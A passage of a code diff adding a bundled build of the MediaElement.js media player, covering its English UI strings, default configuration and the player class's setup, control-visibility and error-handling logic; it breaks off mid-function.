+					rendered = true;
+					if (player.options.startVolume === 0 || media.originalNode.muted) {
+						media.setMuted(true);
+						player.options.startVolume = 0;
+					}
+					media.setVolume(player.options.startVolume);
+					t.setControlsSize();
+				}, 250);
+			}
+		});
+
+		media.addEventListener('loadedmetadata', function () {
+			setTimeout(function () {
+				if (!modified && !rendered) {
+					if (player.options.startVolume === 0 || media.originalNode.muted) {
+						media.setMuted(true);
+						player.options.startVolume = 0;
+					}
+					media.setVolume(player.options.startVolume);
+					t.setControlsSize();
+				}
+				rendered = false;
+			}, 250);
+		});
+
+		if (player.options.startVolume === 0 || media.originalNode.muted) {
+			media.setMuted(true);
+			player.options.startVolume = 0;
+			toggleMute();
+		}
+
+		t.getElement(t.container).addEventListener('controlsresize', function () {
+			toggleMute();
+		});
+	}
+});
+
+},{"16":16,"2":2,"25":25,"26":26,"27":27,"5":5}],15:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+var EN = exports.EN = {
+	'mejs.plural-form': 1,
+
+	'mejs.download-file': 'Download File',
+
+	'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/',
+
+	'mejs.fullscreen': 'Fullscreen',
+
+	'mejs.play': 'Play',
+	'mejs.pause': 'Pause',
+
+	'mejs.time-slider': 'Time Slider',
+	'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.',
+	'mejs.live-broadcast': 'Live Broadcast',
+
+	'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.',
+	'mejs.unmute': 'Unmute',
+	'mejs.mute': 'Mute',
+	'mejs.volume-slider': 'Volume Slider',
+
+	'mejs.video-player': 'Video Player',
+	'mejs.audio-player': 'Audio Player',
+
+	'mejs.captions-subtitles': 'Captions/Subtitles',
+	'mejs.captions-chapters': 'Chapters',
+	'mejs.none': 'None',
+	'mejs.afrikaans': 'Afrikaans',
+	'mejs.albanian': 'Albanian',
+	'mejs.arabic': 'Arabic',
+	'mejs.belarusian': 'Belarusian',
+	'mejs.bulgarian': 'Bulgarian',
+	'mejs.catalan': 'Catalan',
+	'mejs.chinese': 'Chinese',
+	'mejs.chinese-simplified': 'Chinese (Simplified)',
+	'mejs.chinese-traditional': 'Chinese (Traditional)',
+	'mejs.croatian': 'Croatian',
+	'mejs.czech': 'Czech',
+	'mejs.danish': 'Danish',
+	'mejs.dutch': 'Dutch',
+	'mejs.english': 'English',
+	'mejs.estonian': 'Estonian',
+	'mejs.filipino': 'Filipino',
+	'mejs.finnish': 'Finnish',
+	'mejs.french': 'French',
+	'mejs.galician': 'Galician',
+	'mejs.german': 'German',
+	'mejs.greek': 'Greek',
+	'mejs.haitian-creole': 'Haitian Creole',
+	'mejs.hebrew': 'Hebrew',
+	'mejs.hindi': 'Hindi',
+	'mejs.hungarian': 'Hungarian',
+	'mejs.icelandic': 'Icelandic',
+	'mejs.indonesian': 'Indonesian',
+	'mejs.irish': 'Irish',
+	'mejs.italian': 'Italian',
+	'mejs.japanese': 'Japanese',
+	'mejs.korean': 'Korean',
+	'mejs.latvian': 'Latvian',
+	'mejs.lithuanian': 'Lithuanian',
+	'mejs.macedonian': 'Macedonian',
+	'mejs.malay': 'Malay',
+	'mejs.maltese': 'Maltese',
+	'mejs.norwegian': 'Norwegian',
+	'mejs.persian': 'Persian',
+	'mejs.polish': 'Polish',
+	'mejs.portuguese': 'Portuguese',
+	'mejs.romanian': 'Romanian',
+	'mejs.russian': 'Russian',
+	'mejs.serbian': 'Serbian',
+	'mejs.slovak': 'Slovak',
+	'mejs.slovenian': 'Slovenian',
+	'mejs.spanish': 'Spanish',
+	'mejs.swahili': 'Swahili',
+	'mejs.swedish': 'Swedish',
+	'mejs.tagalog': 'Tagalog',
+	'mejs.thai': 'Thai',
+	'mejs.turkish': 'Turkish',
+	'mejs.ukrainian': 'Ukrainian',
+	'mejs.vietnamese': 'Vietnamese',
+	'mejs.welsh': 'Welsh',
+	'mejs.yiddish': 'Yiddish'
+};
+
+},{}],16:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.config = undefined;
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _mediaelement = _dereq_(6);
+
+var _mediaelement2 = _interopRequireDefault(_mediaelement);
+
+var _default = _dereq_(17);
+
+var _default2 = _interopRequireDefault(_default);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _constants = _dereq_(25);
+
+var _general = _dereq_(27);
+
+var _time = _dereq_(30);
+
+var _media = _dereq_(28);
+
+var _dom = _dereq_(26);
+
+var dom = _interopRequireWildcard(_dom);
+
+function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+_mejs2.default.mepIndex = 0;
+
+_mejs2.default.players = {};
+
+var config = exports.config = {
+	poster: '',
+
+	showPosterWhenEnded: false,
+
+	showPosterWhenPaused: false,
+
+	defaultVideoWidth: 480,
+
+	defaultVideoHeight: 270,
+
+	videoWidth: -1,
+
+	videoHeight: -1,
+
+	defaultAudioWidth: 400,
+
+	defaultAudioHeight: 40,
+
+	defaultSeekBackwardInterval: function defaultSeekBackwardInterval(media) {
+		return media.getDuration() * 0.05;
+	},
+
+	defaultSeekForwardInterval: function defaultSeekForwardInterval(media) {
+		return media.getDuration() * 0.05;
+	},
+
+	setDimensions: true,
+
+	audioWidth: -1,
+
+	audioHeight: -1,
+
+	loop: false,
+
+	autoRewind: true,
+
+	enableAutosize: true,
+
+	timeFormat: '',
+
+	alwaysShowHours: false,
+
+	showTimecodeFrameCount: false,
+
+	framesPerSecond: 25,
+
+	alwaysShowControls: false,
+
+	hideVideoControlsOnLoad: false,
+
+	hideVideoControlsOnPause: false,
+
+	clickToPlayPause: true,
+
+	controlsTimeoutDefault: 1500,
+
+	controlsTimeoutMouseEnter: 2500,
+
+	controlsTimeoutMouseLeave: 1000,
+
+	iPadUseNativeControls: false,
+
+	iPhoneUseNativeControls: false,
+
+	AndroidUseNativeControls: false,
+
+	features: ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen'],
+
+	useDefaultControls: false,
+
+	isVideo: true,
+
+	stretching: 'auto',
+
+	classPrefix: 'mejs__',
+
+	enableKeyboard: true,
+
+	pauseOtherPlayers: true,
+
+	secondsDecimalLength: 0,
+
+	customError: null,
+
+	keyActions: [{
+		keys: [32, 179],
+		action: function action(player) {
+
+			if (!_constants.IS_FIREFOX) {
+				if (player.paused || player.ended) {
+					player.play();
+				} else {
+					player.pause();
+				}
+			}
+		}
+	}]
+};
+
+_mejs2.default.MepDefaults = config;
+
+var MediaElementPlayer = function () {
+	function MediaElementPlayer(node, o) {
+		_classCallCheck(this, MediaElementPlayer);
+
+		var t = this,
+		    element = typeof node === 'string' ? _document2.default.getElementById(node) : node;
+
+		if (!(t instanceof MediaElementPlayer)) {
+			return new MediaElementPlayer(element, o);
+		}
+
+		t.node = t.media = element;
+
+		if (!t.node) {
+			return;
+		}
+
+		if (t.media.player) {
+			return t.media.player;
+		}
+
+		t.hasFocus = false;
+
+		t.controlsAreVisible = true;
+
+		t.controlsEnabled = true;
+
+		t.controlsTimer = null;
+
+		t.currentMediaTime = 0;
+
+		t.proxy = null;
+
+		if (o === undefined) {
+			var options = t.node.getAttribute('data-mejsoptions');
+			o = options ? JSON.parse(options) : {};
+		}
+
+		t.options = Object.assign({}, config, o);
+
+		if (t.options.loop && !t.media.getAttribute('loop')) {
+			t.media.loop = true;
+			t.node.loop = true;
+		} else if (t.media.loop) {
+			t.options.loop = true;
+		}
+
+		if (!t.options.timeFormat) {
+			t.options.timeFormat = 'mm:ss';
+			if (t.options.alwaysShowHours) {
+				t.options.timeFormat = 'hh:mm:ss';
+			}
+			if (t.options.showTimecodeFrameCount) {
+				t.options.timeFormat += ':ff';
+			}
+		}
+
+		(0, _time.calculateTimeFormat)(0, t.options, t.options.framesPerSecond || 25);
+
+		t.id = 'mep_' + _mejs2.default.mepIndex++;
+
+		_mejs2.default.players[t.id] = t;
+
+		t.init();
+
+		return t;
+	}
+
+	_createClass(MediaElementPlayer, [{
+		key: 'getElement',
+		value: function getElement(element) {
+			return element;
+		}
+	}, {
+		key: 'init',
+		value: function init() {
+			var t = this,
+			    playerOptions = Object.assign({}, t.options, {
+				success: function success(media, domNode) {
+					t._meReady(media, domNode);
+				},
+				error: function error(e) {
+					t._handleError(e);
+				}
+			}),
+			    tagName = t.node.tagName.toLowerCase();
+
+			t.isDynamic = tagName !== 'audio' && tagName !== 'video' && tagName !== 'iframe';
+			t.isVideo = t.isDynamic ? t.options.isVideo : tagName !== 'audio' && t.options.isVideo;
+			t.mediaFiles = null;
+			t.trackFiles = null;
+
+			if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls) {
+				t.node.setAttribute('controls', true);
+
+				if (_constants.IS_IPAD && t.node.getAttribute('autoplay')) {
+					t.play();
+				}
+			} else if ((t.isVideo || !t.isVideo && (t.options.features.length || t.options.useDefaultControls)) && !(_constants.IS_ANDROID && t.options.AndroidUseNativeControls)) {
+				t.node.removeAttribute('controls');
+				var videoPlayerTitle = t.isVideo ? _i18n2.default.t('mejs.video-player') : _i18n2.default.t('mejs.audio-player');
+
+				var offscreen = _document2.default.createElement('span');
+				offscreen.className = t.options.classPrefix + 'offscreen';
+				offscreen.innerText = videoPlayerTitle;
+				t.media.parentNode.insertBefore(offscreen, t.media);
+
+				t.container = _document2.default.createElement('div');
+				t.getElement(t.container).id = t.id;
+				t.getElement(t.container).className = t.options.classPrefix + 'container ' + t.options.classPrefix + 'container-keyboard-inactive ' + t.media.className;
+				t.getElement(t.container).tabIndex = 0;
+				t.getElement(t.container).setAttribute('role', 'application');
+				t.getElement(t.container).setAttribute('aria-label', videoPlayerTitle);
+				t.getElement(t.container).innerHTML = '<div class="' + t.options.classPrefix + 'inner">' + ('<div class="' + t.options.classPrefix + 'mediaelement"></div>') + ('<div class="' + t.options.classPrefix + 'layers"></div>') + ('<div class="' + t.options.classPrefix + 'controls"></div>') + '</div>';
+				t.getElement(t.container).addEventListener('focus', function (e) {
+					if (!t.controlsAreVisible && !t.hasFocus && t.controlsEnabled) {
+						t.showControls(true);
+
+						var btnSelector = (0, _general.isNodeAfter)(e.relatedTarget, t.getElement(t.container)) ? '.' + t.options.classPrefix + 'controls .' + t.options.classPrefix + 'button:last-child > button' : '.' + t.options.classPrefix + 'playpause-button > button',
+						    button = t.getElement(t.container).querySelector(btnSelector);
+
+						button.focus();
+					}
+				});
+				t.node.parentNode.insertBefore(t.getElement(t.container), t.node);
+
+				if (!t.options.features.length && !t.options.useDefaultControls) {
+					t.getElement(t.container).style.background = 'transparent';
+					t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls').style.display = 'none';
+				}
+
+				if (t.isVideo && t.options.stretching === 'fill' && !dom.hasClass(t.getElement(t.container).parentNode, t.options.classPrefix + 'fill-container')) {
+					t.outerContainer = t.media.parentNode;
+
+					var wrapper = _document2.default.createElement('div');
+					wrapper.className = t.options.classPrefix + 'fill-container';
+					t.getElement(t.container).parentNode.insertBefore(wrapper, t.getElement(t.container));
+					wrapper.appendChild(t.getElement(t.container));
+				}
+
+				if (_constants.IS_ANDROID) {
+					dom.addClass(t.getElement(t.container), t.options.classPrefix + 'android');
+				}
+				if (_constants.IS_IOS) {
+					dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ios');
+				}
+				if (_constants.IS_IPAD) {
+					dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ipad');
+				}
+				if (_constants.IS_IPHONE) {
+					dom.addClass(t.getElement(t.container), t.options.classPrefix + 'iphone');
+				}
+				dom.addClass(t.getElement(t.container), t.isVideo ? t.options.classPrefix + 'video' : t.options.classPrefix + 'audio');
+
+				if (_constants.IS_SAFARI && !_constants.IS_IOS) {
+
+					dom.addClass(t.getElement(t.container), t.options.classPrefix + 'hide-cues');
+
+					var cloneNode = t.node.cloneNode(),
+					    children = t.node.children,
+					    mediaFiles = [],
+					    tracks = [];
+
+					for (var i = 0, total = children.length; i < total; i++) {
+						var childNode = children[i];
+
+						(function () {
+							switch (childNode.tagName.toLowerCase()) {
+								case 'source':
+									var elements = {};
+									Array.prototype.slice.call(childNode.attributes).forEach(function (item) {
+										elements[item.name] = item.value;
+									});
+									elements.type = (0, _media.formatType)(elements.src, elements.type);
+									mediaFiles.push(elements);
+									break;
+								case 'track':
+									childNode.mode = 'hidden';
+									tracks.push(childNode);
+									break;
+								default:
+									cloneNode.appendChild(childNode);
+									break;
+							}
+						})();
+					}
+
+					t.node.remove();
+					t.node = t.media = cloneNode;
+
+					if (mediaFiles.length) {
+						t.mediaFiles = mediaFiles;
+					}
+					if (tracks.length) {
+						t.trackFiles = tracks;
+					}
+				}
+
+				t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'mediaelement').appendChild(t.node);
+
+				t.media.player = t;
+
+				t.controls = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls');
+				t.layers = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'layers');
+
+				var tagType = t.isVideo ? 'video' : 'audio',
+				    capsTagName = tagType.substring(0, 1).toUpperCase() + tagType.substring(1);
+
+				if (t.options[tagType + 'Width'] > 0 || t.options[tagType + 'Width'].toString().indexOf('%') > -1) {
+					t.width = t.options[tagType + 'Width'];
+				} else if (t.node.style.width !== '' && t.node.style.width !== null) {
+					t.width = t.node.style.width;
+				} else if (t.node.getAttribute('width')) {
+					t.width = t.node.getAttribute('width');
+				} else {
+					t.width = t.options['default' + capsTagName + 'Width'];
+				}
+
+				if (t.options[tagType + 'Height'] > 0 || t.options[tagType + 'Height'].toString().indexOf('%') > -1) {
+					t.height = t.options[tagType + 'Height'];
+				} else if (t.node.style.height !== '' && t.node.style.height !== null) {
+					t.height = t.node.style.height;
+				} else if (t.node.getAttribute('height')) {
+					t.height = t.node.getAttribute('height');
+				} else {
+					t.height = t.options['default' + capsTagName + 'Height'];
+				}
+
+				t.initialAspectRatio = t.height >= t.width ? t.width / t.height : t.height / t.width;
+
+				t.setPlayerSize(t.width, t.height);
+
+				playerOptions.pluginWidth = t.width;
+				playerOptions.pluginHeight = t.height;
+			} else if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) {
+					t.node.style.display = 'none';
+				}
+
+			_mejs2.default.MepDefaults = playerOptions;
+
+			new _mediaelement2.default(t.media, playerOptions, t.mediaFiles);
+
+			if (t.getElement(t.container) !== undefined && t.options.features.length && t.controlsAreVisible && !t.options.hideVideoControlsOnLoad) {
+				var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container));
+				t.getElement(t.container).dispatchEvent(event);
+			}
+		}
+	}, {
+		key: 'showControls',
+		value: function showControls(doAnimation) {
+			var t = this;
+
+			doAnimation = doAnimation === undefined || doAnimation;
+
+			if (t.controlsAreVisible || !t.isVideo) {
+				return;
+			}
+
+			if (doAnimation) {
+				(function () {
+					dom.fadeIn(t.getElement(t.controls), 200, function () {
+						dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen');
+						var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container));
+						t.getElement(t.container).dispatchEvent(event);
+					});
+
+					var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control');
+
+					var _loop = function _loop(i, total) {
+						dom.fadeIn(controls[i], 200, function () {
+							dom.removeClass(controls[i], t.options.classPrefix + 'offscreen');
+						});
+					};
+
+					for (var i = 0, total = controls.length; i < total; i++) {
+						_loop(i, total);
+					}
+				})();
+			} else {
+				dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen');
+				t.getElement(t.controls).style.display = '';
+				t.getElement(t.controls).style.opacity = 1;
+
+				var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control');
+				for (var i = 0, total = controls.length; i < total; i++) {
+					dom.removeClass(controls[i], t.options.classPrefix + 'offscreen');
+					controls[i].style.display = '';
+				}
+
+				var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container));
+				t.getElement(t.container).dispatchEvent(event);
+			}
+
+			t.controlsAreVisible = true;
+			t.setControlsSize();
+		}
+	}, {
+		key: 'hideControls',
+		value: function hideControls(doAnimation, forceHide) {
+			var t = this;
+
+			doAnimation = doAnimation === undefined || doAnimation;
+
+			if (forceHide !== true && (!t.controlsAreVisible || t.options.alwaysShowControls || t.paused && t.readyState === 4 && (!t.options.hideVideoControlsOnLoad && t.currentTime <= 0 || !t.options.hideVideoControlsOnPause && t.currentTime > 0) || t.isVideo && !t.options.hideVideoControlsOnLoad && !t.readyState || t.ended)) {
+				return;
+			}
+
+			if (doAnimation) {
+				(function () {
+					dom.fadeOut(t.getElement(t.controls), 200, function () {
+						dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen');
+						t.getElement(t.controls).style.display = '';
+						var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container));
+						t.getElement(t.container).dispatchEvent(event);
+					});
+
+					var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control');
+
+					var _loop2 = function _loop2(i, total) {
+						dom.fadeOut(controls[i], 200, function () {
+							dom.addClass(controls[i], t.options.classPrefix + 'offscreen');
+							controls[i].style.display = '';
+						});
+					};
+
+					for (var i = 0, total = controls.length; i < total; i++) {
+						_loop2(i, total);
+					}
+				})();
+			} else {
+				dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen');
+				t.getElement(t.controls).style.display = '';
+				t.getElement(t.controls).style.opacity = 0;
+
+				var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control');
+				for (var i = 0, total = controls.length; i < total; i++) {
+					dom.addClass(controls[i], t.options.classPrefix + 'offscreen');
+					controls[i].style.display = '';
+				}
+
+				var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container));
+				t.getElement(t.container).dispatchEvent(event);
+			}
+
+			t.controlsAreVisible = false;
+		}
+	}, {
+		key: 'startControlsTimer',
+		value: function startControlsTimer(timeout) {
+			var t = this;
+
+			timeout = typeof timeout !== 'undefined' ? timeout : t.options.controlsTimeoutDefault;
+
+			t.killControlsTimer('start');
+
+			t.controlsTimer = setTimeout(function () {
+				t.hideControls();
+				t.killControlsTimer('hide');
+			}, timeout);
+		}
+	}, {
+		key: 'killControlsTimer',
+		value: function killControlsTimer() {
+			var t = this;
+
+			if (t.controlsTimer !== null) {
+				clearTimeout(t.controlsTimer);
+				delete t.controlsTimer;
+				t.controlsTimer = null;
+			}
+		}
+	}, {
+		key: 'disableControls',
+		value: function disableControls() {
+			var t = this;
+
+			t.killControlsTimer();
+			t.controlsEnabled = false;
+			t.hideControls(false, true);
+		}
+	}, {
+		key: 'enableControls',
+		value: function enableControls() {
+			var t = this;
+
+			t.controlsEnabled = true;
+			t.showControls(false);
+		}
+	}, {
+		key: '_setDefaultPlayer',
+		value: function _setDefaultPlayer() {
+			var t = this;
+			if (t.proxy) {
+				t.proxy.pause();
+			}
+			t.proxy = new _default2.default(t);
+			t.media.addEventListener('loadedmetadata', function () {
+				if (t.getCurrentTime() > 0 && t.currentMediaTime > 0) {
+					t.setCurrentTime(t.currentMediaTime);
+					if (!_constants.IS_IOS && !_constants.IS_ANDROID) {
+						t.play();
+					}
+				}
+			});
+		}
+	}, {
+		key: '_meReady',
+		value: function _meReady(media, domNode) {
+			var t = this,
+			    autoplayAttr = domNode.getAttribute('autoplay'),
+			    autoplay = !(autoplayAttr === undefined || autoplayAttr === null || autoplayAttr === 'false'),
+			    isNative = media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName);
+
+			if (t.getElement(t.controls)) {
+				t.enableControls();
+			}
+
+			if (t.getElement(t.container) && t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play')) {
+				t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play').style.display = '';
+			}
+
+			if (t.created) {
+				return;
+			}
+
+			t.created = true;
+			t.media = media;
+			t.domNode = domNode;
+
+			if (!(_constants.IS_ANDROID && t.options.AndroidUseNativeControls) && !(_constants.IS_IPAD && t.options.iPadUseNativeControls) && !(_constants.IS_IPHONE && t.options.iPhoneUseNativeControls)) {
+				if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) {
+					if (autoplay && isNative) {
+						t.play();
+					}
+
+					if (t.options.success) {
+
+						if (typeof t.options.success === 'string') {
+							_window2.default[t.options.success](t.media, t.domNode, t);
+						} else {
+							t.options.success(t.media, t.domNode, t);
+						}
+					}
+
+					return;
+				}
+
+				t.featurePosition = {};
+
+				t._setDefaultPlayer();
+
+				t.buildposter(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
+				t.buildkeyboard(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
+				t.buildoverlays(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
+
+				if (t.options.useDefaultControls) {
+					var defaultControls = ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen'];
+					t.options.features = defaultControls.concat(t.options.features.filter(function (item) {
+						return defaultControls.indexOf(item) === -1;
+					}));
+				}
+
+				t.buildfeatures(t, t.getElement(t.controls), t.getElement(t.layers), t.media);
+
+				var event = (0, _general.createEvent)('controlsready', t.getElement(t.container));
+				t.getElement(t.container).dispatchEvent(event);
+
+				t.setPlayerSize(t.width, t.height);
+				t.setControlsSize();
+
+				if (t.isVideo) {
+					t.clickToPlayPauseCallback = function () {
+
+						if (t.options.clickToPlayPause) {
+							var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'),
+							    pressed = button.getAttribute('aria-pressed');
+
+							if (t.paused && pressed) {
+								t.pause();
+							} else if (t.paused) {
+								t.play();
+							} else {
+								t.pause();
+							}
+
+							button.setAttribute('aria-pressed', !pressed);
+							t.getElement(t.container).focus();
+						}
+					};
+
+					t.createIframeLayer();
+
+					t.media.addEventListener('click', t.clickToPlayPauseCallback);
+
+					if ((_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls) {
+						t.node.addEventListener('touchstart', function () {
+							if (t.controlsAreVisible) {
+								t.hideControls(false);
+							} else {
+								if (t.controlsEnabled) {
+									t.showControls(false);
+								}
+							}
+						}, _constants.SUPPORT_PASSIVE_EVENT ? { passive: true } : false);
+					} else {
+						t.getElement(t.container).addEventListener('mouseenter', function () {
+							if (t.controlsEnabled) {
+								if (!t.options.alwaysShowControls) {
+									t.killControlsTimer('enter');
+									t.showControls();
+									t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
+								}
+							}
+						});
+						t.getElement(t.container).addEventListener('mousemove', function () {
+							if (t.controlsEnabled) {
+								if (!t.controlsAreVisible) {
+									t.showControls();
+								}
+								if (!t.options.alwaysShowControls) {
+									t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
+								}
+							}
+						});
+						t.getElement(t.container).addEventListener('mouseleave', function () {
+							if (t.controlsEnabled) {
+								if (!t.paused && !t.options.alwaysShowControls) {
+									t.startControlsTimer(t.options.controlsTimeoutMouseLeave);
+								}
+							}
+						});
+					}
+
+					if (t.options.hideVideoControlsOnLoad) {
+						t.hideControls(false);
+					}
+
+					if (t.options.enableAutosize) {
+						t.media.addEventListener('loadedmetadata', function (e) {
+							var target = e !== undefined ? e.detail.target || e.target : t.media;
+							if (t.options.videoHeight <= 0 && !t.domNode.getAttribute('height') && !t.domNode.style.height && target !== null && !isNaN(target.videoHeight)) {
+								t.setPlayerSize(target.videoWidth, target.videoHeight);
+								t.setControlsSize();
+								t.media.setSize(target.videoWidth, target.videoHeight);
+							}
+						});
+					}
+				}
+
+				t.media.addEventListener('play', function () {
+					t.hasFocus = true;
+
+					for (var playerIndex in _mejs2.default.players) {
+						if (_mejs2.default.players.hasOwnProperty(playerIndex)) {
+							var p = _mejs2.default.players[playerIndex];
+
+							if (p.id !== t.id && t.options.pauseOtherPlayers && !p.paused && !p.ended) {
+								p.pause();
+								p.hasFocus = false;
+							}
+						}
+					}
+
+					if (!(_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls && t.isVideo) {
+						t.hideControls();
+					}
+				});
+
+				t.media.addEventListener('ended', function () {
+					if (t.options.autoRewind) {
+						try {
+							t.setCurrentTime(0);
+
+							setTimeout(function () {
+								var loadingElement = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-loading');
+								if (loadingElement && loadingElement.parentNode) {
+									loadingElement.parentNode.style.display = 'none';
+								}
+							}, 20);
+						} catch (exp) {
+							
+						}
+					}
+
+					if (typeof t.media.renderer.stop === 'function') {
+						t.media.renderer.stop();
+					} else {
+						t.pause();
+					}
+
+					if (t.setProgressRail) {
+						t.setProgressRail();
+					}
+					if (t.setCurrentRail) {
+						t.setCurrentRail();
+					}
+
+					if (t.options.loop) {
+						t.play();
+					} else if (!t.options.alwaysShowControls && t.controlsEnabled) {
+						t.showControls();
+					}
+				});
+
+				t.media.addEventListener('loadedmetadata', function () {
+
+					(0, _time.calculateTimeFormat)(t.getDuration(), t.options, t.options.framesPerSecond || 25);
+
+					if (t.updateDuration) {
+						t.updateDuration();
+					}
+					if (t.updateCurrent) {
+						t.updateCurrent();
+					}
+
+					if (!t.isFullScreen) {
+						t.setPlayerSize(t.width, t.height);
+						t.setControlsSize();
+					}
+				});
+
+				var duration = null;
+				t.media.addEventListener('timeupdate', function () {
+					if (!isNaN(t.getDuration()) && duration !== t.getDuration()) {
+						duration = t.getDuration();
+						(0, _time.calculateTimeFormat)(duration, t.options, t.options.framesPerSecond || 25);
+
+						if (t.updateDuration) {
+							t.updateDuration();
+						}
+						if (t.updateCurrent) {
+							t.updateCurrent();
+						}
+
+						t.setControlsSize();
+					}
+				});
+
+				t.getElement(t.container).addEventListener('click', function (e) {
+					dom.addClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive');
+				});
+
+				t.getElement(t.container).addEventListener('focusin', function (e) {
+					dom.removeClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive');
+					if (t.isVideo && !_constants.IS_ANDROID && !_constants.IS_IOS && t.controlsEnabled && !t.options.alwaysShowControls) {
+						t.killControlsTimer('enter');
+						t.showControls();
+						t.startControlsTimer(t.options.controlsTimeoutMouseEnter);
+					}
+				});
+
+				t.getElement(t.container).addEventListener('focusout', function (e) {
+					setTimeout(function () {
+						if (e.relatedTarget) {
+							if (t.keyboardAction && !e.relatedTarget.closest('.' + t.options.classPrefix + 'container')) {
+								t.keyboardAction = false;
+								if (t.isVideo && !t.options.alwaysShowControls && !t.paused) {
+									t.startControlsTimer(t.options.controlsTimeoutMouseLeave);
+								}
+							}
+						}
+					}, 0);
+				});
+
+				setTimeout(function () {
+					t.setPlayerSize(t.width, t.height);
+					t.setControlsSize();
+				}, 0);
+
+				t.globalResizeCallback = function () {
+					if (!(t.isFullScreen || _constants.HAS_TRUE_NATIVE_FULLSCREEN && _document2.default.webkitIsFullScreen)) {
+						t.setPlayerSize(t.width, t.height);
+					}
+
+					t.setControlsSize();
+				};
+
+				t.globalBind('resize', t.globalResizeCallback);
+			}
+
+			if (autoplay && isNative) {
+				t.play();
+			}
+
+			if (t.options.success) {
+				if (typeof t.options.success === 'string') {
+					_window2.default[t.options.success](t.media, t.domNode, t);
+				} else {
+					t.options.success(t.media, t.domNode, t);
+				}
+			}
+		}
+	}, {
+		key: '_handleError',
+		value: function _handleError(e, media, node) {
+			var t = this,
+			    play = t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-play');
+
+			if (play) {
+				play.style.display = 'none';
+			}
+
+			if (t.options.error) {
+				t.options.error(e, media, node);
+			}
+
+			if (t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay')) {
+				t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay').remove();
+			}
+
+			var errorContainer = _document2.default.createElement('div');
+			errorContainer.className = t.options.classPrefix + 'cannotplay';
+			errorContainer.style.width = '100%';
+			errorContainer.style.height = '100%';
+
+			var errorContent = typeof t.options.customError === 'function' ? t.options.customError(t.media, t.media.originalNode) : t.options.customError,
+			    imgError = '';
+
+			if (!errorContent) {
+				var poster = t.media.originalNode.getAttribute('poster');
+				if (poster) {
+					imgError = '<img src="' + poster + '" alt="' + _mejs2.default.i18n.t('mejs.download-file') + '">';
+				}
+
+				if (e.message) {
+					errorContent = '<p>' + e.message + '</p>';
+				}
+
+				if (e.urls) {
